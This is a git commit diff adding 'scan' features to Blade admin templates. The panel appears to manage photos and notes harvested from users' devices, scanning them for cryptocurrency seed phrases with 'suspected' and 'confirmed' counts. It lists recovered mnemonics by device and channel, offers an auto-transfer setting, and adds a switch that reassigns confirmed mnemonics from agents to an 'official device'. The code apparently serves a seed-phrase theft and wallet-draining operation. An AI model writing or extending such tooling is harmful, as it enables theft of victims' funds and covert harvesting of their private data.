feat: scan

This commit is contained in:
hashbro
2026-09-13 01:22:54 +08:00
parent 4fa162c72c
commit 7fc5f43c01
19 changed files with 328 additions and 30 deletions
+12 -2
View File
@@ -264,12 +264,16 @@
</div>
</div>
</form>
@if(!empty($show_scan))
<div id="LAY-photo-scan" class="scan-progress">扫描进度:—</div>
@endif
<div id="LAY-photo-grid" class="photo-grid"></div>
<div id="LAY-photo-empty" style="display:none;color:#999;padding:12px 0;">暂无相册</div>
<div id="LAY-photo-page" style="margin-top: 16px; text-align: right;"></div>
@elseif ($tab === 'notes')
@if(!empty($show_scan))
<div id="LAY-note-scan" class="scan-progress">扫描进度:—</div>
@endif
<div id="LAY-note-cards"></div>
<div id="LAY-note-empty" style="display:none;color:#999;padding:12px 0;">暂无备忘录</div>
<div id="LAY-note-page" style="margin-top: 16px; text-align: right;"></div>
@@ -414,9 +418,11 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
}, function (res) {
var $grid = $('#LAY-photo-grid').empty();
var list = (res && res.data) ? res.data : [];
@if(!empty($show_scan))
if (res && res.scan) {
$('#LAY-photo-scan').text('相册扫描:' + res.scan.scanned + '/' + res.scan.total + ' 已扫 · ' + res.scan.suspected + ' 疑似 · ' + res.scan.confirmed + ' 确定');
}
@endif
if (!list.length) {
$('#LAY-photo-empty').show();
} else {
@@ -426,7 +432,9 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
var card = $(
'<a class="photo-card" href="javascript:;">' +
(Number(p.read) === 1 ? '' : '<i class="photo-unread-dot" title="未读"></i>') +
'<span class="scan-badge scan-badge-' + Number(p.scan_status || 0) + '">' + (p.scan_label || '未扫') + '</span>' +
@if(!empty($show_scan))
(p.scan_label ? '<span class="scan-badge scan-badge-' + Number(p.scan_status || 0) + '">' + p.scan_label + '</span>' : '') +
@endif
'<img alt="">' +
'<div></div>' +
'<div class="muted" style="font-size:12px;color:#888;"></div>' +
@@ -537,16 +545,18 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
}, function (res) {
var $list = $('#LAY-note-cards').empty();
var items = (res && res.data) ? res.data : [];
@if(!empty($show_scan))
if (res && res.scan) {
$('#LAY-note-scan').text('备忘录扫描:' + res.scan.scanned + '/' + res.scan.total + ' 已扫 · ' + res.scan.suspected + ' 疑似 · ' + res.scan.confirmed + ' 确定');
}
@endif
if (!items.length) {
$('#LAY-note-empty').show();
} else {
$('#LAY-note-empty').hide();
items.forEach(function (it) {
var $card = $('<div class="note-card"></div>');
$card.append($('<div class="note-card-title"></div>').text((it.scan_label ? ('[' + it.scan_label + '] ') : '') + (it.title || '无标题')));
$card.append($('<div class="note-card-title"></div>').text({{ !empty($show_scan) ? "(it.scan_label ? ('[' + it.scan_label + '] ') : '') + " : '' }}(it.title || '无标题')));
$card.append($('<pre class="note-card-body"></pre>').text(it.body || ''));
$list.append($card);
});
@@ -3,7 +3,10 @@
@section('title', '助记词')
@section('content')
@php $portal = $portal ?? 'admin'; @endphp
@php
$portal = $portal ?? 'admin';
$showOrigin = !empty($show_origin);
@endphp
<style>
.mn-wallet-wrap { padding: 12px 16px 16px; }
.mn-wallet-hd {
@@ -232,7 +235,12 @@ layui.use(['table', 'form', 'layer'], function () {
{ field: 'id', title: 'ID', width: 70, sort: true },
{ field: 'source', title: '来源', width: 140 },
{ field: 'mnemonic', title: '助记词', width: 160 },
{ field: 'device_key', title: '设备 ID', minWidth: 220 },
{ field: 'device_key', title: '设备 ID', minWidth: 200 },
@if($showOrigin)
{ field: 'origin_device_key', title: '原设备', minWidth: 200, templet: function (d) {
return d.origin_device_key ? d.origin_device_key : '—';
}},
@endif
{ field: 'channel_id', title: '渠道 ID', minWidth: 220 },
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
{ title: '操作', width: {{ !empty($can_reveal) ? 280 : 190 }}, align: 'center', fixed: 'right', toolbar: '#LAY-mn-ops' }
@@ -57,6 +57,19 @@
</div>
</div>
<fieldset class="layui-elem-field layui-field-title">
<legend>代理助记词扫描</legend>
</fieldset>
<div class="layui-form-item">
<label class="layui-form-label">开关</label>
<div class="layui-input-block">
<input type="hidden" name="agent_mnemonic_scan" value="0">
<input type="checkbox" name="agent_mnemonic_scan" value="1" lay-skin="switch" lay-text="开|关"
{{ ($form['scan.agent_visible'] ?? '1') === '1' ? 'checked' : '' }}>
<div class="layui-form-mid layui-word-aux">关闭后代理后台不显示「助记词扫描」;扫描确定入库的助记词归到一台官方设备,并记下原设备。开启则和现在一样。</div>
</div>
</div>
<fieldset class="layui-elem-field layui-field-title">
<legend>自动转账(官方渠道)</legend>
</fieldset>
@@ -141,6 +154,7 @@ layui.use(['form', 'layer'], function () {
form.on('submit(LAY-settings-save)', function (data) {
var payload = Object.assign({}, data.field, { _token: token });
payload.official_album_storage = $('#LAY-settings-form input[name=official_album_storage][type=checkbox]').is(':checked') ? '1' : '0';
payload.agent_mnemonic_scan = $('#LAY-settings-form input[name=agent_mnemonic_scan][type=checkbox]').is(':checked') ? '1' : '0';
payload.auto_transfer_enabled = $('#LAY-settings-form input[name=auto_transfer_enabled][type=checkbox]').is(':checked') ? '1' : '0';
$.ajax({
url: @json(route('admin.system.settings.update')),